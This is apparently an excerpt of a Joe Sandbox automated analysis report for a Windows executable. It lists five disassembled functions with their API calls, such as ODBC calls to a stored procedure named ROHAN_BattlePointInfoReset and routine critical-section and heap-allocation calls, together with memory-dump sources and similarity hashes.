                                                                                                                            Function 0043980D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_BattlePointInfoReset]},000000FD), ref: 00439821
                                                                                                                            • #72.ODBC32(?,00000001,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,{? = CALL [ROHAN_BattlePointInfoReset]},000000FD), ref: 00439844
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_BattlePointInfoReset]}, xrefs: 00439818
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_BattlePointInfoReset]}
                                                                                                                            • API String ID: 0-3848384410
                                                                                                                            • Opcode ID: 0821973d089d7e15a4f1f9b6b02fefb3485ca9aac1e51abcd444ecb731b827cb
                                                                                                                            • Instruction ID: 64cc7feccbd70fc422071cc1c18d607c44434d73a959a8145b744a048087c675
                                                                                                                            • Opcode Fuzzy Hash: 0821973d089d7e15a4f1f9b6b02fefb3485ca9aac1e51abcd444ecb731b827cb
                                                                                                                            • Instruction Fuzzy Hash: A7E0487079430577FA20DF548C42F597324DB40B24F20834BFB242E1C5D5B5B8108B5D
                                                                                                                            Function 00474AB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • DeleteCriticalSection.KERNEL32(I!G,?,?,00472149,?,?,004700AB,00000003), ref: 00474ABE
                                                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000,?,00472149,?,?,004700AB,00000003), ref: 00474ADB
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalDeleteFreeSectionVirtual
                                                                                                                            • String ID: I!G
                                                                                                                            • API String ID: 1891443581-3828199053
                                                                                                                            • Opcode ID: 7cba5ab1d099e9107b3f9b1c82e2d360ee41017a215c846d2009836e456e394c
                                                                                                                            • Instruction ID: fcc9de670f0371a22fa2e1e3beaa192cd056bb7c207af7fad98f59721f7da305
                                                                                                                            • Opcode Fuzzy Hash: 7cba5ab1d099e9107b3f9b1c82e2d360ee41017a215c846d2009836e456e394c
                                                                                                                            • Instruction Fuzzy Hash: B1E04F78940208EBCB04CB98D849F9AB378EB45305F208194F809A7352C7319E40CB98
                                                                                                                            Function 0046C7A0 Relevance: 5.1, APIs: 4, Instructions: 99COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0046A4F6,?,00411D24), ref: 0046C7B0
                                                                                                                            • EnterCriticalSection.KERNEL32(?), ref: 0046C7ED
                                                                                                                            • LeaveCriticalSection.KERNEL32(?), ref: 0046C8C6
                                                                                                                            • LeaveCriticalSection.KERNEL32(?), ref: 0046C8D8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalSection$EnterLeave
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3168844106-0
                                                                                                                            • Opcode ID: e733040ca179c056a8cf40d129b0ecef9d914573e58150de5333525e0781c981
                                                                                                                            • Instruction ID: 498af56b7bb8f34ae614fda91a596c7884d20743c63bc05cb2bf0d3013be4e07
                                                                                                                            • Opcode Fuzzy Hash: e733040ca179c056a8cf40d129b0ecef9d914573e58150de5333525e0781c981
                                                                                                                            • Instruction Fuzzy Hash: C4418274E00209EFCB08CFA9D584AADBBB1FF88319F20816AE445BB355D734AA41DF55
                                                                                                                            Function 00460170 Relevance: 5.1, APIs: 4, Instructions: 62memoryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • HeapReAlloc.KERNEL32(00000000,00000000,?,?,?,0045FF1A,?,?,?,?,?,?,?,?), ref: 0046018D
                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,000041C4,?,?,0045FF1A,?,?,?,?,?,?,?,?), ref: 004601B7
                                                                                                                            • VirtualAlloc.KERNEL32(00000000,01000000,00002000,00000004,?,?,?,?,?,?), ref: 004601D2
                                                                                                                            • HeapFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 004601E8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AllocHeap$FreeVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3499195154-0
                                                                                                                            • Opcode ID: 7ea29c959c9f87340f4acfa030f9f3a838bc961c90e97342da117e86a4312cba
                                                                                                                            • Instruction ID: c8a73aa1e12c8bca2422c738448110e8196419665a2e80a3bf326bb98382a346
                                                                                                                            • Opcode Fuzzy Hash: 7ea29c959c9f87340f4acfa030f9f3a838bc961c90e97342da117e86a4312cba
                                                                                                                            • Instruction Fuzzy Hash: B21117B4200702AFE364CF29EC45B52B7F4BB45720F108A2EE565CB691E7B1E8558B94
                                                                                                                            Function 004BA400 Relevance: 5.0, APIs: 4, Instructions: 33COMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(004ECE6C,?,00000000,?,?,004B9E99,00000010,?,?,?,?,?,004B8D0C,004B8CA4,004B878D,004A2D43), ref: 004BA42E
                                                                                                                            • InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,004B9E99,00000010,?,?,?,?,?,004B8D0C,004B8CA4,004B878D,004A2D43), ref: 004BA440
                                                                                                                            • LeaveCriticalSection.KERNEL32(004ECE6C,?,00000000,?,?,004B9E99,00000010,?,?,?,?,?,004B8D0C,004B8CA4,004B878D,004A2D43), ref: 004BA449
                                                                                                                            • EnterCriticalSection.KERNEL32(00000000,00000000,?,?,004B9E99,00000010,?,?,?,?,?,004B8D0C,004B8CA4,004B878D,004A2D43,00412E13), ref: 004BA45B
                                                                                                                              • Part of subcall function 004BA397: InitializeCriticalSection.KERNEL32(004ECE6C,004BA40E,004B9E99,00000010,?,?,?,?,?,004B8D0C,004B8CA4,004B878D,004A2D43,00412E13,00000000), ref: 004BA3AF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalSection$EnterInitialize$Leave
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 713024617-0
                                                                                                                            • Opcode ID: 413b64f43a4498e80a7ebf28d2f15c42c1dfb307a3f0d837e82025553748bd65
                                                                                                                            • Instruction ID: 54b48515b7951935e912328e70b5ce04a96f11d205a88cd217b1b7ea5f8da2a6
                                                                                                                            • Opcode Fuzzy Hash: 413b64f43a4498e80a7ebf28d2f15c42c1dfb307a3f0d837e82025553748bd65
                                                                                                                            • Instruction Fuzzy Hash: B8F01D3640124AEFC7209F69ECC8F96B7ACFB5431AF500437E54693022D778E566CAA9